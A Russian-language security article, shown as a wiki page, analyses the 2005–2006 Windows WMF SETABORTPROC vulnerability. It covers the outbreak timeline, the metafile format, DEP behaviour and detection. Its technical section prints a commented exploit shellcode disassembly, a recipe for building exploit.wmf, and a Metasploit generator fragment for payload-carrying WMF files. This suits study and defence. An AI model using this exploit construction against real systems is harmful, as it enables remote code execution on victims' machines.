Различия

Здесь показаны различия между двумя версиями данной страницы.

Ссылка на это сравнение

articles:wmf-exploit [2017/09/05 02:55] (текущий)
Строка 1: Строка 1:
 +====== wmf-exploit ======
 +<​sub>​{{wmf-exploit.odt|Original file}}</​sub>​
 +
 +====== метафизика wmf файлов ======
 +
 +крис касперски ака мыщъх, no-email
 +
 +//​профессор:​ когда была обнаружена самая мощная вспышка на Солнце?//​
 +
 +//​студент:​ самая мощная вспышка еще не обнаружена//​
 +
 +астрономический фольклор
 +
 +**перед новым годом ****обнаружена самая крупная дыра за всю историю существования ****Windows****,​ точнее даже не дыра, а документированная особенность,​ позволяющая ****wmf****-файлам содержать не только данных,​ но и машинный код, поражающий все системы от ****Windows**** 3.****x**** до ****Longhorn**** и даже… ****UNIX****! по данным ****McAfee**** на 6**** ****января 2006 было заражено 6% машин и это только начало! попробуем разобраться как черви внедряются в систему и как от них защищаться**
 +
 +===== введение =====
 +
 +Внимательное чтение SDK (для тех, кто его читает) показывает,​ что некоторые GDI-команды поддерживают функции обратного вызова (они же call-back'​и),​ принимающие в качестве одного из аргументов указатель на пользовательскую процедуру,​ делающую что-то полезное (например,​ обрабатывающую ошибки или другие внештатные ситуации). В том же самом SDKговорится,​ что последовательность GDI-команд может быть сохранена в метафайле (WindowsMeta-File или, сокращенно,​ wmf), а затем "​воспроизведена"​ на любом устройстве,​ например,​ мониторе или принтере. По отдельности оба этих факта хорошо известны,​ но долгое время никому не удавалась объединить их в одну картину. Все привыкли считать wmf графическим форматом,​ содержащим набор данных. Возможность внедрения машинного кода как-то упускалось из виду и никакие защитные меры не предпринимались. Между тем, если записать в метафайл GDI-команду,​ ожидающую указателя на callback-функцию,​ размещенную там же, то при "​проигрывании"​ метафайла она получит управление и выполнит все, что задумано!
 +
 +{{wmf-exploit_Image_0.jpg}}
 +
 +Рисунок 1 рабочий стол после атаки
 +
 +Метафайлы появились еще в начале 80х и неизвестно кому первому пришла в голову мысль использовать их для распространения зловредного кода. Мыщъх обосновал теоретическую возможность такой атаки еще лет пять назад, а через два года после этого даже привел фрагмент работоспособного эксплоита в "​Системном администраторе"​ (или это был "​Программист"?​ — сейчас и не вспомню). Однако,​ он остался незамеченным и тревогу забили лишь **27 декабря 2005 года**, когда на Рабочем Столе разных пользователей стала появляться всякая непотребность (см. рис 1), а сторожевые программы начали ловить непонятно откуда взявшихся червей и ругаться матом (см. рис. 2). Поимка осуществлялась по классическому принципу:​ отслеживание создаваемых файлов,​ мониторинг реестра и т. д., то есть ловилась не сама wmf-начинка,​ а последствия ее непродуманной "​жизнедеятельности"​. Грамотно спроектированный shell-код оставался незамеченным.
 +
 +{{wmf-exploit_Image_1.png}}
 +
 +Рисунок 2 MicrosoftAnti-Spyware борется против wmf-заразы
 +
 +Сейчас уже трудно установить кто был Адамом,​ а кто Евой. По данным F-Secure, первый эксплоит появился на http://​www.unionseek.com/,​ где его тут же прибили вместе с сайтом. Но джин был выпущен из бутылки и копии эксплоита просочились в Интернет,​ прочно обосновавшись на http://​www.metasploit.com/​projects/​Framework/​exploits.html#​ie_xp_pfv_metafile,​ http://​milw0rm.com/​metasploit.php?​id=111 и других сайтах.
 +
 +{{wmf-exploit_Image_2.png}}
 +
 +Рисунок 3 один из многих сайтов,​ раздающих wmf-эксплоит
 +
 +Спустя 24 часа (т. е. **28 декабря**) парни из F-Secure уже насчитывали три различных модификации эксплоита,​ условно обозначенных W32/​PFV-Exploit A, B и C. Надвигающуюся угрозу заметили и другие фирмы. В частности,​ McAfee обнаружила два эксплоита,​ классифицировав их как Downloader-ASE и GenericDownloader.q. В тот же день Microsoft выпустила бюллетень "​VulnerabilityinGraphicsRenderingEngineCouldAllowRemoteCodeExecution",​ официально подтверждающий наличие уязвимости в графической подсистеме (http://​www.microsoft.com/​technet/​security/​advisory/​912840.mspx),​ но вместо "​микстуры"​ было предоставленообещание выпустить заплатку к 10 января! Между тем, очаги эпидемии все разрастались и эксплоиты охватывали уже пять сайтов:​ www.unionseek.com,​ crackz.ws, www.tfcco.com,​ iframeurl.biz,​ beehappyy.biz из которых до наших дней дожил только www.tfcco.com,​ а всем остальным злые администраторы сделали харакири без анестезии (см. рис 4). Появилась информация,​ что GoogleDesktopSearch автоматически выполняет "​начинку"​ метафайлов при индексации диска. То есть, злоумышленнику достаточно просто забросить wmf-файл на компьютер жертвы и пиздец.
 +
 +
 +
 +{{wmf-exploit_Image_3.png}}
 +
 +Рисунок 4 прибитый beehappyy.biz
 +
 +На следующий день, **29 декабря**,​ количество разновидностей wmf-червей переварило за полтинник (F-Secure рапортовало о 57 штаммах),​ а лекарства так и несуществовало. Программисты из Microsoft уже перекомпилировали GDI32.DLL, но еще не успели его протестировать,​ а тем временем эксплоиты цвели и размножались. Для временного решения проблемы (workaround) Microsoft предложила пользователем разрегистрировать библиотеку shimgvw.dll,​ отвечающую за обработку изображений в InternetExplorer,​ OutlookExpress,​ GoogleDesktopSearch и некоторых других приложениях,​ однако,​ программы,​ напрямую взаимодействующие с GDI (например,​ IrfanViewer) оставались уязвимыми. К тому же, без shimgvw.dll изображения (даже легальные) просто не отображались. Программа "​WindowsPictureandFaxviewer"​ показывала пустой экран, в котором не угадывалось никакого оптимизма.
 +
 +{{wmf-exploit_Image_4.png}}
 +
 +Рисунок 5 GoogleDesktopSearch,​ автоматически "​заглатывающий"​ зловредную начинку wmf-файлов при индексации диска
 +
 +**31 декабря**,​ когда эпидемия бушевала в полный рост, создатель легендарного дизассемблера IDA Pro, Ильфак Гильфанов выпустил hotfix, латающий движок графической подсистемы прямо в памяти,​ чтобы вместо исполнения зловредного callback'​а она возвращала сообщение об ошибке. В результате,​ сайт Ильфака (http://​www.hexblog.com/​) немедленно рухнул от наплыва посетителей,​ подняв популярность его владельца в сотни раз. В тот же день был обнаружен первый червь, распространяющийся по MSN-Messenger'​у через дыру в метафайлах и рассылающий ссылку на xmas-2006 FUNNY.jpg, в действительности являющийся никаким не jpg, а самым настоящим инфицированным wmf, устанавливающим back-door. К 11:54 GMT по оценкам Лаборатории Касперского червь, прозванный IM-Worm, сумел захватить 1000 машин-дронов (http://​www.viruslist.com/​en/​weblog?​discuss=176892530&​return=1),​ однако это были еще цветочки…
 +
 +{{wmf-exploit_Image_5.png}}
 +
 +Рисунок 6 первый wmf-червь,​ распространяющийся по MSN-Messenger
 +
 +**1**** ****января **появился первый полиморфный вирус, генерирующий метафайлы случайного размера с произвольным числом фреймов и высококонфигурабельным shell-кодом размещенном между фреймами,​ обламывающим ранее установленные фильтры. Тогда же началась массовая рассылка по мылу MSN-червя со строкой HappyNewYear в subj'​е.
 +
 +{{wmf-exploit_Image_6.png}}
 +
 +Рисунок 7 wmf-червь,​ распространяющийся через электронную почту
 +
 +Дальше — больше. **3 января** появился конструктор червей,​ а через день хакеры дотянулись и до IRC. Ситуация становилась критической и вот наконец,​ **5 января**Microsoft наконец-таки выпустила долгожданное официальное обновление для NT-подобных систем:​ http://​www.microsoft.com/​technet/​security/​Bulletin/​ms06-001.mspx,​ однако,​ Windows 9x все еще остается не залатанной,​ не говоря уже о Windows 3.x и UNIX-подобных системах.
 +
 +Вот такая напряженная ситуация.
 +
 +===== >>>​ врезка что такое wmf =====
 +
 +**Метафайлы** (WMF — WindowsMetaFile) представляют собой последовательность команд GDI и с точки зрения графической подсистемы Windows являются таким же "​устройством"​ как монитор или принтер,​ но если информация,​ выводимая на монитор/​притер как бы "​выпадает из обращения",​ то wmf файл можно "​проигрывать"​ многократно,​ передавать по сети и т. д.
 +
 +{{wmf-exploit_Image_7.wmf}}
 +
 +Рисунок 8 изображение,​ сохраненное в метафайле
 +
 +Функция **HDC CreateMetaFile****(****LPCTSTR****lpszFile****)** создает метафайл,​ возвращая контекст устройства,​ на котором можно рисовать стандартными GDI-функциями такими как LineTo или Rectangle, а функция **PlayMetaFile(****HDC****hdc****,​ ****HMETAFILE****hmf****)** "​проигрывает"​ метафайл,​ открытый функцией **GetMetaFile(LPCTSTR lpszMetaFile)**,​ выводя его содержимое на заданное устройство,​ например так:
 +
 +HDCDC; HMETAFILEh_meta;//​ объявляем переменные
 +
 +DC = GetDC(0);// получаем контекст для вывода
 +
 +h_meta = GetMetaFile("​demo.wmf"​);//​ открываем метафайл...
 +
 +PlayMetaFile(DC,​ h_meta);// ...и "​проигрываем"​ его
 +
 +Листинг 1 вывод метафайла на экран
 +
 +Строго говоря,​ функции CreateMetaFile/​PlayMetaFile/​GetMetaFile формально считаются устаревшими,​ однако,​ поддерживаются всеми Windows-подобными системами для совместимости. Начиная с 9x возможности метафайлов были значительно расширены и появился новый формат — emf (Enhanced Metafile), окруженный новыми функциями:​ **CreateEnhMetaFile/​PlayEnhMetaFile/​Get****Eng****MetaFile**. Они так же поддерживают выполнение машинного кода, поэтому с точки зрения безопасности оба формата тождественны друг другу.
 +
 +**Функции,​ обрабатывающие метафайлами,​ реализованы внутри ****GDI****32.****DLL****. Именно здесь и сидит уязвимость. Библиотека shimgvw.dll — это всего лишь высокоуровневая "​обертка",​ используемая некоторыми приложениями для обработки изображений,​ в то время как другие напрямую работают с ****GDI****.**
 +
 +К статье прилагается программа,​ демонстрирующая основные приемы работы с метафайлами:​
 +
 +{{wmf-exploit_Image_8.png}}
 +
 +Рисунок 9 метафайлы в действии!
 +
 +===== >>>​ врезка уязвимые системы =====
 +
 +В своем бюллетене (support.microsoft.com/​kb/​912840) Microsoft официально подтверждает уязвимость следующих систем:​WindowsServer 2003 SP0/​SP1 (Standard, Datacenter, Enterprise и WebEdition),​ XP SP0/​SP1/​SP2 (Home и Professional),​ Windows 2000 SP0/​SP1/​SP2/​SP3/​SP4 (Professional,​ Advanced и DatacenterServer) и Windows 98/​Millennium. Уязвимости подвержены практически все платформы:​ x86, x64 и Itanium.
 +
 +Довольно внушительный список,​ к тому же в нем не упомянута Windows 3.x и некоторые UNIX-системы,​ добросовестно поддерживающие вражеский wmf-формат. В частности,​ сообщается об уязвимости популярного эмулятора wine и Mac OS.
 +
 +Кошмар! Или… еще одна раздутая сенсация?​ Эксперименты мыщъх'​а показывают,​ что дела обстоят не так уж и плохо. Могло быть и хуже. Начнем с того, что в отличие от печально известных дыр в SQL и DCOM RPC, wmf-файлы не поддерживают автоматическое размножение червей. Жертва должна самостоятельно загрузить метафайл из сети и попытаться его отобразить. Имеется множество сообщений,​ что InternetExplorer и OutlookExpress автоматически "​воспроизводят"​ wmf-файлы,​ указанные в теге IMG, и это действительно так, однако,​ лично мне ни один из эксплоитов заставить работать так и не удалось (W2K SP4 IE 6.0),​ причем IE отображает только расширенные (emf) метафайлы и только те из них, что имеют расширение wmf/emf, но не gif или jmp.
 +
 +<​CENTER>​
 +
 +<HR>
 +
 +<IMG src="​exploit.wmf">​
 +
 +<HR>
 +
 +<IMG src="​3D.wmf">​
 +
 +<HR>
 +
 +<IMG src="​3D.gif">​
 +
 +<HR>
 +
 +Листинг 2 тестовый html-файл,​ пытающийся скормить браузеру wmf-файл с эксплоитом
 +
 +{{wmf-exploit_Image_9.png}}
 +
 +Рисунок 10 реакция IE – wmf-файл с эксплоитом не отображается и shell-код не получает управление;​ честный wmf-файл с "​левым"​ расширением gif так же не отображается
 +
 +Что же до вообще альтернативных браузеров,​ то Opera и ранние версии FireFox (1.0.4) не поддерживают отображение метафайлов,​ показывая пустой квадрат,​ щелчок по которому приводит к появлению диалогового окна, предлагающего сохранить файл на диск или открыть его с помощью ассоциированного с ним приложения.
 +
 +{{wmf-exploit_Image_10.png}}
 +
 +Рисунок 11 реакция браузера Opera на wmf-эксплоит — предложение открыть метафайл ассоциированным с ним приложением (в данном случае не ассоциировано никакое приложение)
 +
 +Обычно это уязвимый "​WindowsPictureandFaxViewer",​ однако,​ у меня он не установлен и мыщъх смотрит все файлы при помощи MicrosoftPhotoEditor'​а (который не поддерживает wmf-файлов и потому неуязвим) или IrfanViever'​а (уязвим под NT, но безопасен под 9x). Агрессивный характер GoogleDesktopSearch мы уже отмечали. Поздние версии FireFox (1.5) открывают метафайлы при помощи WindowsMediaPlayer,​ который их ни хрена не поддерживает и потому зловредный код не получает управления.
 +
 +{{wmf-exploit_Image_11.png}}
 +
 +Рисунок 12 реакция IrfanViewer'​а на wmf-эксплоит,​ shell-код получает управление!!!
 +
 +Но даже при "​ручной"​ работе с GDI необходимо очень сильно постараться,​ чтобы выполнить код внутри wmf-файла. Возьмем exploit.wmf,​ прилагаемый к статье,​ и выдранный из wmf-checker'​а от Ильфака и попробуем вывести его на экран функцией PlayMetaFile,​ как показано в листинге 1. Под W2K SP4 (другие системы не проверял) "​честные"​ wmf-файлы проигрываются нормально,​ подтверждая,​ что программа написана правильно,​ но shell-код,​ внедренный в exploit.wmf,​ не получает управления,​ а ведь должен… Но стоит заменить контекст окна контекстом специально созданного метафайла,​ как на экран выпрыгивает диалоговое окно, вызываемое shell-кодом:​
 +
 +DC = CreateEnhMetaFile(0,​ 0, 0, "​demo"​);//​ проигрываем метафайл в другой метафайл
 +
 +h_meta = GetMetaFile("​exploit.wmf"​);​ PlayMetaFile(DC,​ h_meta);
 +
 +Листинг 3 модифицированная программа для проигрывания метафайлов
 +
 +Под Widows 98 exploit.wmf наглухо завешивает систему независимо от выбранного контекста. Причем не в хорошем смысле этого слова, а чисто конкретно так завешивает,​ что только Alt-Ctrl-Del и спасает. Так же поступают и другие эксплоиты,​ выловленные мыщъх'​ем в сети. Так что количество уязвимых платформ реально ограничивается одной лишь NT, причем версия под Intanium требует специально спроектированного shell-кода. (Только не надо говорить,​ что это просто система у мыщъх'​а неправильная… система самая обыкновенная и очень даже "​правильная"​ если она упорно не заражается).
 +
 +Вот тут некоторые задают вопрос — защищает ли DEP от атаки или нет? Чисто теоретически,​ аппаратный DEP (подробнее о котором можно прочитать в статье судьба "​shell-кода на системах с неисполняемым стеком или атака на DEP", опубликованной в "​Системном Администраторе"​) предотвращает непредумышленное выполнение машинного кода в области данных,​ но не препятствует явному назначению нужных атрибутов функцией VirtualAlloc/​VirtualProtect. Поэтому,​ весь вопрос в том — в какой регион памяти загружает метафайл то или иное приложение.
 +
 +Попробуем это выяснить с помощью метафайла exploit.wmf и отладчика OllyDbg. Чтобы бестолку не трассировать километры постороннего кода, давайте внедрим в exploit.wmf точку останова,​ предварительно скопировав его в wmf-int3.wmf,​ чтобы не испортить оригинал. Открываем метафайл в hiew'​е,​ давим <F5> (goto) и переходим по смещению 1Ch, откуда,​ собственно говоря,​ и начинается актуальный shell-код (до этого идет заголовок). Переходим в режим редактирования по <F3> и пишем "​CCh ССh CCh…"​ пока не надоест. Сохраняем изменения по <F9> и выходим.
 +
 +Компилируем листинг 3 (или берем уже готовый PlayMetaFile.exe) и загружаем его в отладчик,​ нажимая <F9> для запуска программы,​ которая тут же грохается,​ поскольку натыкается на забор из CCh, каждый из которых соответствует машинной инструкции INT 03h, выплывающей отладчиком. Смотрим на EIP. Он указывает на 8B001Dh (естественно,​ на других системах это значение может быть иным). Карта памяти показывает,​ что эта область имеет атрибуты "​только на чтение"​ (см. рис 13) и при активном аппаратном DEP никакой код здесь исполняться не может (программный DEP от этого не защищает). Однако,​ по умолчанию DEP задействован только для некоторых системных служб, а пользовательские программы могут вытворять что угодно… Такая вот, значит,​ ситуация.
 +
 +{{wmf-exploit_Image_12.png}}
 +
 +Рисунок 13 определение дислокации shell-кода в памяти при проигрывании метафайла функцией PlayMetaFile
 +
 +А как ведет себя IrfanViewer?​ Посмотрим-посмотрим. Регистр EIP указывает на 13D31Ch, и судя по карте памяти,​ находится глубоко в стеке, доступном как на чтение,​ так и на запись,​ но только не на исполнение. Значит,​ если задействовать DEP для всех приложений,​ wmf-эксплоиты окажутся неработоспособны,​ однако,​ количество процессоров,​ поддерживающих DEP очень невелико и потому такое решение могут позволить себе только состоятельные люди, так что угроза атаки вполне актуальна,​ но все-таки не настолькоактуальна,​ как это пытаются представить некоторые антивирусные компании.
 +
 +{{wmf-exploit_Image_13.png}}
 +
 +Рисунок 14 определение дислокации shell-кода в памяти при просмотре метафайла IrfanViewr'​ом
 +
 +===== как это работает или технические детали =====
 +
 +Известные мыщъх'​у эксплоиты внедряют в wmf-файл ecsape-последовательность **META****_****ESCAPE**** (****x****26****h****)** вызывающую функцию **SETABORTPROC**** (09****h****)**,​ регистрирующую пользовательскую callback-функцию,​ изначально предназначенную для отмены заданий,​ уже находящиеся в очереди на печать. Это не единственная GDI-функция,​ принимающая callback'​и. Есть и другие (как документированные,​ так и не совсем,​ например,​ LineDDA, SetICMMode),​ но по-видимому только META_ESCAPE/​SETABORTPROC может быть внедрена в метафайл. Или, все-таки,​ не только?​ Дизассемблирование GDI32.DLL показывает огромное количество функций типа call reg, где reg – указатель,​ получаемый из wmf-файла,​ каждая из которых может оказаться новым "​священным граалем"​ и новой дырой, но не будем на них останавливаться,​ чтобы не облегчать работу "​специалистам по безопасности",​ питающихся чужими идеями. Впрочем,​ хакеры поступают так же и прежде чем разрабатывать собственного червя, препарируют уже существующие.
 +
 +{{wmf-exploit_Image_14.png}}
 +
 +Рисунок 15 принцип действия типичного wmf-эксплоитов
 +
 +Для анализа хорошо подходит **WMF Exploit Checker** от Ильфака Гильфанова,​ исходный код которого можно утянуть по адресу http://​castlecops.com/​downloads-file-500-details-WMF_exploit_checker_source_code.html,​ а откомпилированный двоичный файл http://​castlecops.com/​downloads-file-495-details-WMF_Vulnerability_Checker.html. На самом деле это никакой не checker, а самый настоящий эксплоит,​ внедряющий в wmf-файл машинный код, котоый выводит "Your system is vulnerable to WMF exploits!"​ через MessageBoxA
 +
 +Распаковав zip-архив с исходными текстами,​ мы найдем семь файлов следующего содержания:​
 +
 +  - tell.asm: shell-код,​ подготовленный к внедрению;​
 +  - wmf_checker_hexblog.cpp:​ создает wmf-файл,​ внедряет туда shell-код и проигрывает его;
 +  - wmfdata.cpp:​ откомилированный tell.asm с готовым wmf-заголовком;​
 +  - wmfhdr.wmf: wmf-заголовок с escape-последовательностью и функций SetAbortProc;​
 +  - различные командные файлы для компиляции;​
 +
 +
 +Фактически,​ wmfdata.cpp представляет собой готовый wmf-файл с shell-кодом,​ который можно "​скормить"​InternetExporer'​у,​ IrfanView'​у или любой другой программе подобного типа, только сначала нужно преобразовать cpp в bin, поскольку у Ильфака двоичные данные представлены в виде массива типа uchar:
 +
 +static uchar array[] = {
 +
 +0x01,​0x00,​0x09,​0x00,​0x00,​0x03,​0xED,​0x00,​0x00,​0x00,​0x06,​0x00,​0x3D,​0x00,​0x00,​0x00,​
 +
 +Листинг 4 фрагмент файла wmfdata.cpp,​ хранящего готовый wmf-файл в виде массива
 +
 +Добавляем в wmfdata.cpp следующие строки (см. листинг 5),​ меняем тип массива uchar на char (MS VC никакого uchar не поддерживает),​ компилируем любым ANSI-совместимым компилятором и запускаем полученный wmfdata.exe на выполнение. ​
 +
 +#include <​stdio.h>​
 +
 +main(){ FILE *f = fopen("​exploit.wmf","​wb"​);​ fwrite(array,​ sizeof(array),​ 1, f);}
 +
 +Листинг 5 быстрый и грязный конвертор,​ преобразующий C-массив в двоичный файл
 +
 +На диске образуется метафайл exploit.wmf. Откроем его с помощью InfanViewr'​а или любого другого просмотрщика wmf-файлов и, если наша система уязвима,​ на экран выскочит симпатичное диалоговое окошко (см. рис. 16).
 +
 +{{wmf-exploit_Image_15.png}}
 +
 +Рисунок 16 это диалоговое окно выводится shell-кодом wmf-эксплоита
 +
 +Попробуем дизассемблировать wmf-файл. Для этого нам понадобиться IDA Pro любой версии (на худой конец можно ограничиться hiew'​ом) и спецификация wmf-формата,​ которую можно нарыть на Кузне http://​wvware.sourceforge.net/​caolan/​ora-wmf.html или в другом месте: http://​www.geocad.ru/​new/​site/​Formats/​Graphics/​wmf/​wmf.txt.
 +
 +{{wmf-exploit_Image_16.png}}
 +
 +Рисунок 17 структурная анатомия стандартного метафайла
 +
 +Метафайл состоит из //​**стандартного**////​**заголовка**//​ (//​standard////​metafile////​header//​) и произвольного количества //​**фреймовых записей **//​(//​standard////​metafile////​record//​) или просто фреймов. Расширенный метафайл устроен чуть-чуть сложнее,​ но мы не будем в него углубляться (нам это на фиг не нужно).
 +
 +Заголовок представляет собой структуру следующего типа:
 +
 +typedef struct _WindowsMetaHeader
 +
 +{
 +
 +WORDFileType;/​* типметафайла (0 == память,​ 1 == диск*/
 +
 +WORDHeaderSize;/​* размерзаголовкавсловах (всегда 9) */
 +
 +WORDVersion;/​* требуемаяверсияWindows */
 +
 +DWORDFileSize;/​* полныйразмерметафайлавсловах*/​
 +
 +WORDNumOfObjects;/​* кол-вообъектоввфайле*/​
 +
 +DWORDMaxRecordSize;/​* размернаибольшейзаписивсловах*/​
 +
 +WORDNumOfParams;/​* не используется (== 0) */
 +
 +} WMFHEAD;
 +
 +Листинг 6 структура заголовка метафайла
 +
 +А каждая фреймовая запись устроена так:
 +
 +typedef struct _StandardMetaRecord
 +
 +{
 +
 +DWORDSize;/​* полныйразмерзаписивсловах*/​
 +
 +WORDFunction;/​* номер функции и кол-во параметров (см. WINGDI.H) */
 +
 +WORDParameters[];/​* значенияпараметров,​ передаваемыхфункции*/​
 +
 +} WMFRECORD;
 +
 +Листинг 7 структура фреймовых записей
 +
 +Последняя запись всегда имеет вид 0003h 0000h 0000h (размер заголовка — 03h слова, функция – NULL, параметров — нет), что интерпретируется как "​конец метафайла"​.
 +
 +Теперь покурим и начнем дизассемблировать exploit.wmf,​ в котором очень много байт, но все совсем простые. Короче,​ откомментированный листинг приводится ниже:
 +
 +**WindowsMetaHeader****:​**;​ # стандартный заголовок метафайла
 +
 +FileTypedw1;​ типфайла (0 - память,​ 1 - диск)
 +
 +HeaderSizedw9;​ размер заголовка в словах (всегда 09h)
 +
 +Versiondw300h;​ требуемаяверсия Windows (01h | 03h)
 +
 +FileSizedd0EDh;​ размер файла в словах
 +
 +NumOfObjectsdw6;​ кол-во объектов (может быть любым)
 +
 +MaxRecordSizedd3Dh;​ размер самой большой записи (может быть любым)
 +
 +NumOfParamsdw0;​ кол-во параметров (может быть любым)
 +
 +**StandardMetaRecord**:;​ # фреймоваязапись META_ESCAPE с shell-кодом
 +
 +Sizedd11h; размер записи в словах вместе с SMR( > 00h)
 +
 +Functiondb26h;​ номер функции - META_Escape (см. WINGDI.H)
 +
 +num_of_argdb6;​ кол-во аргументов (может быть любым)
 +
 +subfunctdw9;​ подфункция - SETABORTPROC (см. WINDGI.H)
 +
 +hDCdw16h; параметр SETABORTPROC - hDC (игнорируется)
 +
 +shell_codeproc near
 +
 +call$+5; \_  определяем текущий EIP
 +
 +popebp; / EBP := EIP
 +
 +callGetKrnl32addr;​ base of KERNEL32.DLL
 +
 +movebx, eax; ebx := eax := base of KERNEL32.DLL
 +
 +
 +
 +; проверка флага f_silent_mode
 +
 +; if (f_silet_mode == 0) MessageBox();​ esle Exit();
 +
 +movecx, (offset f_silent_mode-21h)
 +
 +addecx, ebp
 +
 +movecx, [ecx]
 +
 +testecx, ecx
 +
 +jnzshort exit; --> f_silent_mode !=0, goto Exit()
 +
 +
 +
 +; определяем адрес API-функции LoadLibraryA
 +
 +movecx, (offset aLoadlibrarya-21h) ; 
 +
 +addecx, ebp; ^ "​LoadLibraryA"​
 +
 +pushecx; -> &"​LoadLibraryA"​
 +
 +pushebx; base of KERNEL32.DLL
 +
 +callGetProcAddr;​ eax<= &​LoadLibraryA"​())
 +
 +
 +
 +; загружаем библиотеку USER32.DLL
 +
 +movecx, (offset aUser32_dll-21h) ;
 +
 +addecx, ebp; ^ "​user32.dll"​
 +
 +pushecx; -> &"​user32.dll"​
 +
 +calleax; call LoadLibraryA("​user32.dll"​)
 +
 +
 +
 +; определяем адрес API-функции MessageBoxA
 +
 +movecx, (offset aMessageboxa-21h) ; 
 +
 +addecx, ebp; ^ "​MessageBoxA"​
 +
 +pushecx; -> &"​MessageBoxA"​
 +
 +pusheax; base of USER32.DLL
 +
 +callGetProcAddr;​ eax <= &​MessageBoxA()
 +
 +
 +
 +; вызываем MessageBoxA,​ выводим приветствие на экран
 +
 +push0; uType
 +
 +push0; lpCaption
 +
 +movecx, (offset aYourSystemIsVu-21h) ;
 +
 +addecx, ebp; ^  "Your system is vulnerable"​
 +
 +pushecx; lpText
 +
 +push0; hWnd
 +
 +calleax; call MessageBox
 +
 +
 +
 +exit:; термируем текущий процесс-хозяин
 +
 +movecx, (offset aExitprocess-21h) ; 
 +
 +addecx, ebp; ^ "​ExitProcess"​
 +
 +pushecx; -> "​ExitProcess"​
 +
 +pushebx; base of KERNEL32.DLL
 +
 +callGetProcAddr;​ eax <= &​ExitProcess()
 +
 +push1; uExitCode
 +
 +calleax; call ExitProcess(1);​
 +
 +shell_codeendp
 +
 +
 +
 +aMessageboxadb'​MessageBoxA',​0;​ DATA XREF: shell_code+32o
 +
 +aExitprocessdb'​ExitProcess',​0;​ DATA XREF: shell_code:​exito
 +
 +aLoadlibraryadb'​LoadLibraryA',​0;​ DATA XREF: shell_code+1Ao
 +
 +aUser32_dlldb'​user32.dll',​0;​ DATA XREF: shell_code+28o
 +
 +aYourSystemIsVu db'​Your system is vulnerable',​Ah;​ DATA XREF: shell_code+44o
 +
 +db'​Please visit http://​www.hexblog.com and install the hotfix!',​0
 +
 +aWmfVulnerabili db'WMF Vulnerability test file by Ilfak Guilfanov',​0
 +
 +
 +
 +
 +
 +f_silent_modedd0;​ DATA XREF: shell_code+Do
 +
 +; замыкающая фреймовая запись
 +
 +; (требуется по спецификации,​ но на практике необязательна)
 +
 +**EndingMetaRecord:​**
 +
 +Sizedw3
 +
 +Functiondw0
 +
 +Parametersdw0
 +
 +Листинг 8 откомментированный фрагмент простейшего wmf-эксплоита
 +
 +Вначале идет стандартный wmf-заголовок,​ большинство полей которого игнорируются системой и потому может принимать любые значения. Главное,​ чтобы: FileType == 1, HeaderSize == 9, Version было 100h или 300h, а FileSize содержало достоверный размер файла, в противном случае IrfanViewr и другие графические программы обломаются с открытием метафайла (см. таблицу 1). Это обстоятельство можно использовать для создания полиморфных червей и прочей живности. (кстати говоря,​ функция PlayMetaFile допускает намного большую вольность,​ не проверяя поля FileType и FileSize).
 +
 +К заголовку примыкает первая фреймовая запись,​ содержащая вызов функции META_ESCAPE (с "​паспортным"​ кодом 626h) с подфункцией SETABORTPROC (код 0009h), принимающей два параметра — дескриптор контекста устройства (у Ильфака равен 16h, но может быть любым) и машинный код, которому будет передано управление,​ то есть shell-код. Коды всех документированных функций описаны в WINGDI.H (см. "/​* Metafile Functions */"​),​ там же определены и Escape-последовательности,​ которые можно найти контекстным поиском по слову META_ Дизассемблирование GDI32.DLL показывает,​ что Windows считывает только младший байт функции (для META_ESCAPE это 26h), а в старшем передает кол-во параметров,​ которое никто не проверяет! Таким образом,​ чтобы распознать зловредный wmf-файл необходимо проанализировать все фреймовые записи в поисках функции 26h, подфункции 9h.
 +
 +Размер фреймовой записи не обязательно должен соответствовать действительности,​ так же совершенно необязательно вставлять замыкающую фреймовую запись,​ как того требует wmf-спецификация,​ поскольку,​ когда shell-код получит управление все спецификации высадиваются на измену,​ то есть, идут лесом.
 +
 +Что же касается самого shell-кода,​ то он вполне стандартен. Ильфак определяет базовый адрес KERNEL32.DLL через PEB (что не работает на 9x), разбирает таблицу экспорта,​ находит адрес API-функции LoadLibraryA,​ загружает USER32.DLL и выводит "​ругательство"​ через MessageBoxA. Чтобы shell-код работал и под 9x необходимо переписать функцию GetKrnl32addr,​ научив ее находить KERNEL32.DLL прямым поиском в памяти. Мыщъх уже писал об этом в статье "​техника написания переносимого shell-кода",​ так что не будем повторяться,​ а лучше разберем другой эксплоит,​ посложнее.
 +
 +Пусть это будет "​Metasploit Framework",​ который можно скачать с __www.metasploit.com/​projects/​Framework/​modules/​exploits/​ie_xp_pfv_metafile.pm__. Это добротный полиморфный эксплотит,​ с движком целиком написанным на Перле и способный нести любую боевую начинку в переменной PayLoad. Ниже приведен его ключевой фрагмент,​ генерирующий wmf-файл.
 +
 +// Metasploit Framework
 +
 +'​Payload'​=>​
 +
 +{
 +
 +'​Space'​=>​ 1000 + int(rand(256)) * 4,
 +
 +'​BadChars'​=>​ "​\x00",​
 +
 +'​Keys'​=>​ ['​-bind'​],​
 +
 +},
 +
 +#
 +
 +# WindowsMetaHeader
 +
 +#
 +
 +pack('​vvvVvVv',​
 +
 +# WORD  FileType;/* типметафайла (1 = память,​ 2 = диск) */
 +
 +int(rand(2))+1,/​* (на самом деле 0 - память,​ 1 - диск, kpnc) */
 +
 +
 +
 +# WORD  HeaderSize;/​*размерзаголовкавсловах (всегда 9)*/
 +
 +9,
 +
 +
 +
 +# WORD  Version;/* требуемаяверсия Windows */
 +
 +(int(rand(2)) == 1 ? 0x0100 : 0x0300),
 +
 +
 +
 +# DWORD FileSize;/* полныйразмерметафайлавсловах*/​
 +
 +$clen/2,
 +
 +
 +
 +# WORD  NumOfObjects;/​* кол-вообъектоввфайле*/​
 +
 +rand(0xffff),​
 +
 +
 +
 +# DWORD MaxRecordSize;/​* размернаибольшейзаписивсловах*/​
 +
 +rand(0xffffffff),​
 +
 +
 +
 +# WORD NumOfParams;/​* не используется,​ может быть любым */
 +
 +rand(0xffff),​
 +
 +).
 +
 +#
 +
 +# Fillerdata/​* случайные "​мусорные"​ фреймы */
 +
 +#
 +
 +$pre_buff.
 +
 +#
 +
 +# StandardMetaRecord - Escape/* META_ESCAPE */
 +
 +#
 +
 +pack('​Vvv',​
 +
 +# DWORD Size;/* полныйразмерзаписивсловах*/​
 +
 +4,
 +
 +# WORD Function;/* номер функции и случайное кол-во арг. */
 +
 +int(rand(256) << 8) + 0x26,
 +
 +
 +
 +# WORD  Parameters[];/​* номерподфункции SETABORTPROC */
 +
 +9,
 +
 +). $shellcode ./* фиктивное поле + shell-код */
 +
